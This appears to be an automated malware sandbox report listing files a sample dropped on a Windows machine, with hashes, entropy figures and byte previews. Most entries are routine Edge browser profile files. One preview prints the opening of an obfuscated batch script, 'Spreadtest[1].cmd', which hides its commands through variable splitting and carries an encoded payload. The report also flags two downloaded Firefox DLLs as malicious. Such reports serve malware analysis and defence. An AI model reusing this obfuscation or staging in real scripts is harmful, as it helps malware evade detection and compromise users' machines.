SHA-512:	F2194FCF1DB7088B565012A29C3E03991AB4859DFC4BBBDBAF102885CC6F935C5E3260140CA28AC2533551F1D58006824682BE60830AC02BA67A0563B32BB886
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".keogsj20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U?:K...G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.1326399824826066
Encrypted:	false
SSDEEP:	3:FiWWltlT0EiCjG2xo6kMWPGdV8B+BVP/Sh/JzvXEAAG34tTAUFVHTtOllt:o1AGGwwMWj+BVsJDkG3V80/
MD5:	DB0B5F32DD6A247AE52AF2E9280D22D6
SHA1:	DF845EBCFC1E637F3A8674D6F24D1206637C358A
SHA-256:	20F50A96662CC19C9EA2D5C00F8FEECC0FFBD4B6290102C46CB7BB8B1B9CBFAE
SHA-512:	87962BBB3C6F8B5AE66B669B2B24C772E7CBA73C9AF57F57BF05657B5FDADB53B6DDD84914D4C465241591B26F07C61E358AC77A5E35281AE0EBFA13FA2EF14D
Malicious:	false
Preview:	sdPC.......................c.CsJ......5"93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................e9a6470b-82e9-4451-b995-4e1980b580b6............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101690737688716
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn0CBS2qX7b9tPHgorQXdbiR3oM:z/0+zI7yn0kS20NtP0Xdbe3
MD5:	C894B2F056C0FDF937C77A3FE6D4C51C
SHA1:	EE2EA602E09966658EEF2F9423F124C2CCF26BD8
SHA-256:	9EEF5EF04890A69EC0C1DC97157288CD932ADC5B8085032C8847761ACA14BB03
SHA-512:	9E5236E4ADCA4EBAACACAB4050C96686A7C557269923DB0287D51B92A71EF2B628D88F2E3A70DFAF829FC6E849D1A7A60648089A7FC060D02154D2BDF4719374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF295cd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101690737688716
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn0CBS2qX7b9tPHgorQXdbiR3oM:z/0+zI7yn0kS20NtP0Xdbe3
MD5:	C894B2F056C0FDF937C77A3FE6D4C51C
SHA1:	EE2EA602E09966658EEF2F9423F124C2CCF26BD8
SHA-256:	9EEF5EF04890A69EC0C1DC97157288CD932ADC5B8085032C8847761ACA14BB03
SHA-512:	9E5236E4ADCA4EBAACACAB4050C96686A7C557269923DB0287D51B92A71EF2B628D88F2E3A70DFAF829FC6E849D1A7A60648089A7FC060D02154D2BDF4719374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF295dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101690737688716
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn0CBS2qX7b9tPHgorQXdbiR3oM:z/0+zI7yn0kS20NtP0Xdbe3
MD5:	C894B2F056C0FDF937C77A3FE6D4C51C
SHA1:	EE2EA602E09966658EEF2F9423F124C2CCF26BD8
SHA-256:	9EEF5EF04890A69EC0C1DC97157288CD932ADC5B8085032C8847761ACA14BB03
SHA-512:	9E5236E4ADCA4EBAACACAB4050C96686A7C557269923DB0287D51B92A71EF2B628D88F2E3A70DFAF829FC6E849D1A7A60648089A7FC060D02154D2BDF4719374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2a31c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101690737688716
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn0CBS2qX7b9tPHgorQXdbiR3oM:z/0+zI7yn0kS20NtP0Xdbe3
MD5:	C894B2F056C0FDF937C77A3FE6D4C51C
SHA1:	EE2EA602E09966658EEF2F9423F124C2CCF26BD8
SHA-256:	9EEF5EF04890A69EC0C1DC97157288CD932ADC5B8085032C8847761ACA14BB03
SHA-512:	9E5236E4ADCA4EBAACACAB4050C96686A7C557269923DB0287D51B92A71EF2B628D88F2E3A70DFAF829FC6E849D1A7A60648089A7FC060D02154D2BDF4719374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2a32b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101690737688716
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn0CBS2qX7b9tPHgorQXdbiR3oM:z/0+zI7yn0kS20NtP0Xdbe3
MD5:	C894B2F056C0FDF937C77A3FE6D4C51C
SHA1:	EE2EA602E09966658EEF2F9423F124C2CCF26BD8
SHA-256:	9EEF5EF04890A69EC0C1DC97157288CD932ADC5B8085032C8847761ACA14BB03
SHA-512:	9E5236E4ADCA4EBAACACAB4050C96686A7C557269923DB0287D51B92A71EF2B628D88F2E3A70DFAF829FC6E849D1A7A60648089A7FC060D02154D2BDF4719374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\abc9aa16-6611-4bad-ae0e-3044c638ee25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58923
Entropy (8bit):	6.104940359903849
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynn1CCBS2qX7b/wgorQXdbiR3oM:z/0+zI7ynn1CkS20hXdbe3
MD5:	3CE2972F11A580A6ABBA3E3F503A01EA
SHA1:	6102806BA2BBB974CDF2DFF24CDA19E5D9121E34
SHA-256:	9A46C3BB41165382AC9DA70F213B89FDE6F15F79FF2050D3AAAAE132E5D4534D
SHA-512:	5366BD3E6146B0B2C808B85755410497B980143AF1B15835DAABF7C680B13A997107C61E637B1D813E1545244B16B4C767DA6FF0B88ADBFD9E165E72BDB1D052
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e31255e4-0c09-4832-8988-cb942ece4eae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58900
Entropy (8bit):	6.104979899123117
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7yn31lCBS2qX7bewgorQXdbiR3oM:z/0+zI7yn31lkS20AXdbe3
MD5:	0C97D3586E4BDA7EF10084A12EA49AA3
SHA1:	3FE7C00E7BDD1CC8B3FECFFEDA3F6D3A7CFE4F95
SHA-256:	739282EF3FD6192D5984AB295A7B3BA6B5EA4116AEE6808AB49D0EB0271DAD17
SHA-512:	5A7E4AACC65B00165FF0A4D57CFA10228211496DE7FC850FA91E5C6DC94B72DD4656043D792839B9CFE8D9FA67AEA9B0C1B344910F2484323AE8D99BE8056D84
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f212d264-7b96-4d2a-8cdf-d25b5d8a7cd8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58923
Entropy (8bit):	6.104940359903849
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynn1CCBS2qX7b/wgorQXdbiR3oM:z/0+zI7ynn1CkS20hXdbe3
MD5:	3CE2972F11A580A6ABBA3E3F503A01EA
SHA1:	6102806BA2BBB974CDF2DFF24CDA19E5D9121E34
SHA-256:	9A46C3BB41165382AC9DA70F213B89FDE6F15F79FF2050D3AAAAE132E5D4534D
SHA-512:	5366BD3E6146B0B2C808B85755410497B980143AF1B15835DAABF7C680B13A997107C61E637B1D813E1545244B16B4C767DA6FF0B88ADBFD9E165E72BDB1D052
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\Spreadtest[1].cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	DOS batch file, ASCII text, with very long lines (65170), with CRLF line terminators
Category:	dropped
Size (bytes):	1344165
Entropy (8bit):	6.409076441728564
Encrypted:	false
SSDEEP:	24576:cXW6wx/V5q1ghvbOGHvc/gkQBCHxG+OcQgCLjjfPEGjmuC:MXb6hmLjhB94j7jmuC
MD5:	837FDEE87E4EF7C96374F69F019AE111
SHA1:	9D9D6C1B87A0ED41B10207B6122A66CE6812CC8A
SHA-256:	6C9E009CD392A09A6859920D3BDDBF318617D0032C8F380B6989CD280B4B8CC2
SHA-512:	97E7B1BCAEF469B20BD261FE732AA4410A28218EA2DABDAD9CEC52FC414B19D69A3E60775F229CC4F80A40665CF0EED718298E8C8A0ABEFA89690C7F0C800EF0
Malicious:	false
Preview:	@echo off..set "HxdhmR=seHxdhmRtHxdhmR HxdhmRKXHxdhmRkl=HxdhmR1 &HxdhmR&HxdhmR HxdhmRstaHxdhmRrHxdhmRtHxdhmR HxdhmR""HxdhmR /HxdhmRmHxdhmRiHxdhmRn HxdhmR"..set "kEGvSe=exkEGvSeikEGvSet /kEGvSeBkEGvSe"..set "ybGHPb=ifybGHPb nybGHPboybGHPbt ybGHPbdeybGHPbfiybGHPbneybGHPbd ybGHPbKXybGHPbklybGHPb"..if %%ybGHPb:ybGHPb%%==%%ybGHPb%% (%HxdhmR:HxdhmR% %%kEGvSe:kEGvSe%%)..::g7H1/FTN1TmJMsK6/RdO6KuHyxCTKmGtwL01Ekrl9UZ8DTxeFsS5ykGtAYQoR2GIfdempLITt6f59Sk8fHuBwdP4FO+GBjX1M/9AcRy2zeI2RkzhJs7gS9ONjEGA009/s7zKxokacW9sWjsI7sFTUGT5ygRqijQr2QggmgoKoY8nZt4iHH7d+kJFAOzzEr+0+rarmJTE5iMaGLwY/K4EQaGu/YAPndZq92guD1ouHcAWR7i1BYvQ9zfBSRFQTjBMdXU71huQ+6vUBbv4CxTBKeLLcpcOoZ2IheWlvj6zTJ78gvCqWZaNYFVvHP991lzIamLPMvN/ROw1FDlEZar371Rse+yuT+AGFG2E7CrKl+2FHdtDd+l/EBlxBT01VD5BhoWHMJpGpgq5jrv4gRkbkfKp700/RtFrLICALCMrItYbloGG5kYspe61jXelRvW5wJTvgVQJ8yZDqnyk9A/wPhvDHekGzfuUrZsD3ZCbxi3NmnPwXXw4NoDb6IrmeHBrjY8kMLUwQ8MguWOWIEIRRpIa8XRj+Y1IEBD2is4A07T4xRwrD8UB0LwQj/dWd6SXJ9xkCKVxliTjy3bCP72hzYqh98rNVCXvqObrAw9nX7Lpc3N87vxx9VGA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

